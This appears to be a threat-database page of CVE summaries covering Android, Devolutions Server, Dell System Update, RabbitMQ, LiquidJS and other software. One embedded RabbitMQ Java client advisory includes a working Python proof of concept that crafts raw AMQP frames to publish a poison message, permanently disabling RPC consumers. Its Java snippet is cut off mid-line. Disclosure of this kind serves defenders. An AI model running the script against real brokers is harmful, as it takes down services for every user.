Threat database

CVE-2026-56952 is an elevation of privilege vulnerability in Google Android due to a missing permission check in the platform_msg_handler_init function. This flaw allows a local attacker with system execution privileges to bypass permission checks and escalate privileges without requiring user interaction. The vulnerability has a medium severity rating with a CVSS score of 6.7.

CVE-2026-56936 is an elevation of privilege vulnerability in Google Android's wacom_sys.c component. It is caused by a missing bounds check in the wacom_hid_set_device_mode function, leading to an out-of-bounds write. Exploitation does not require user interaction or prior privileges. The vulnerability has a CVSS score of 6.8, indicating medium severity.

CVE-2026-56906 is a local elevation of privilege vulnerability in Google Android caused by a use-after-free condition in the ep_free function of eventpoll.c. Exploitation does not require user interaction or additional execution privileges. The vulnerability arises from a race condition and can lead to high impact on confidentiality, integrity, and availability.

CVE-2026-55330 is a critical elevation of privilege vulnerability in Google Android's BluetoothCccHandlerCallbackImpl component. It involves a use-after-free condition caused by a logic error in bluetooth_ccc.cc. This flaw allows remote code execution without requiring user interaction or additional privileges.

CVE-2026-55307 is a medium severity information disclosure vulnerability in Google Android. It arises from a logic error in the kdn_set_sysregs_prot function within hwcrypto-kdn.c. Exploitation requires local system execution privileges but no user interaction. The flaw could allow an attacker with high privileges on the device to disclose sensitive information. No patch or remediation details are currently provided.

CVE-2026-0198 is an information disclosure vulnerability in Google Android caused by a missing permission check in the is_pd_allowed function of gem_msg.c. It allows local attackers with System execution privileges to bypass permissions and access sensitive information without user interaction. The vulnerability has a medium severity with a CVSS score of 4.4.

CVE-2026-105488 is a missing authorization vulnerability in Devolutions Server versions 2026.3.7.0 and earlier. It allows an authenticated user with only the global vault view permission to modify and delete global contact and folder entries. This flaw affects versions prior to 2026.3.8. The vulnerability has a high severity rating with a CVSS score of 7.1.

CVE-2026-105485 is an authentication bypass vulnerability in Devolutions Server versions 2026.3.7.0 and earlier. It affects the OAuth device authorization flow, allowing a remote attacker to take over a user's account by replaying a captured device verification link. The vulnerability requires user interaction (UI:R) and has a medium severity with a CVSS score of 6.8.

CVE-2026-106033 is a DOM-based Cross-Site Scripting (XSS) vulnerability in Red Hat Ansible Automation Platform 2. It arises from improper input validation in the application's redirect route, where the next query parameter is assigned directly to location.href without proper checks. This bypasses the platform's built-in URL validation designed to block malicious URI schemes. An attacker can exploit this by crafting a malicious link that executes arbitrary JavaScript in the context of an authenticated user's session.

Dell System Update versions prior to 2.3.0.0 contain an improper certificate validation vulnerability (CWE-295). This flaw could allow a highly privileged remote attacker to execute code remotely. The vulnerability is rated high severity with a CVSS score of 7.6. No patch or remediation details are provided in the input data.

CVE-2026-9226 is an authentication bypass vulnerability in Devolutions Server affecting versions before 2026.3.8.0. It involves the Azure AD external login flow, where an attacker can replay a captured login-session token exposed in a redirect URL to take over a user's account. The vulnerability has a medium severity with a CVSS score of 6.8. A patch is available, and the product is a cloud service, so the vendor manages remediation.

CVE-2026-66666 is a medium severity vulnerability in Automattic WordPress up to version 7.1.2 that allows insertion of sensitive information into sent data, enabling retrieval of embedded sensitive data. It is categorized under CWE-201 (information exposure). No patch or remediation details are currently available.

A vulnerability in sssd allows a local user to cause a Denial of Service (DoS) by exhausting the responder service's file descriptors. This is done by opening many concurrent connections to a responder socket, triggering an unthrottled retry loop that leads to high CPU usage and service stalls. The issue prevents legitimate identity and authentication requests from being processed. The CVSS score is 4.7, indicating medium severity. Multiple specific versions of sssd are affected as listed. No known exploits are reported in the wild, and no patch information is provided in the source data.

Dell System Update versions prior to 2.3.0.0 contain a critical path traversal vulnerability (CWE-22) that allows an unauthenticated remote attacker to access the filesystem. This flaw can be exploited to execute arbitrary code with root privileges, potentially leading to full system compromise. Dell recommends upgrading to version 2.3.0.0 or later to remediate this issue.

A vulnerability in the RabbitMQ Java client library prior to version 5.35.0 causes sensitive information, including plaintext usernames and passwords from AMQP URIs, to be included in error messages when URI parsing fails. This can lead to unintended disclosure of broker credentials in logs and monitoring systems. The issue is addressed in version 5.35.0.

### Summary A single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer. The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel. The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue. In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone. ### Details `ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75 `ValueWriter.writeShortstr` then rejects the result with an unchecked exception: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56 So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected. Two consumption paths are impacted: 1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129 2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two. In both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue. A related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag. ### PoC Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.** 1. Start a broker: ```bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq ``` 2. Publish a message whose `correlation-id` is 255 × `0xFF`: ```python import socket, struct def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a QUEUE = "rpc.poison" s = socket.create_connection(("127.0.0.1", 5672), timeout=10) def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:] s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("en_US")))) cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11) s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison")) # close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE) ``` 3. Run a consumer using the tutorial pattern against `rpc.poison`: ```java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder(

Dell System Update, versions prior to 2.3.0.0, contains an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Remote execution.

CVE-2026-106120 is a vulnerability in the LiquidJS template engine where the ownPropertyOnly setting does not fully prevent access to inherited array elements through certain operations like negative indexing and filters. This can lead to exposure of sensitive information from prototype-inherited data. The issue is fixed in version 10.27.2.

CVE-2026-106119 is a vulnerability in langchainjs's MongoDBChatMessageHistory component where session identifiers are not properly validated at runtime. This allows specially crafted session identifiers to be interpreted as MongoDB query conditions instead of literal strings. An attacker able to invoke chat-history operations could potentially read, modify, or delete other users' conversation histories if multiple users' data share the same collection. The issue is fixed in @langchain/mongodb version 1.3.1 and later.

CVE-2026-106118 is a high-severity out-of-bounds write vulnerability in SixLabors ImageSharp, a 2D graphics library. The flaw exists in tiled TIFF decoding from versions 3.0.0 up to but not including 4.1.1. It occurs because the destination buffer is allocated based on TileWidth, but decompression uses the full frame width, causing writes beyond the allocated buffer when TileWidth is smaller than ImageWidth. This leads to heap corruption and process termination. The issue is fixed in version 4.1.1.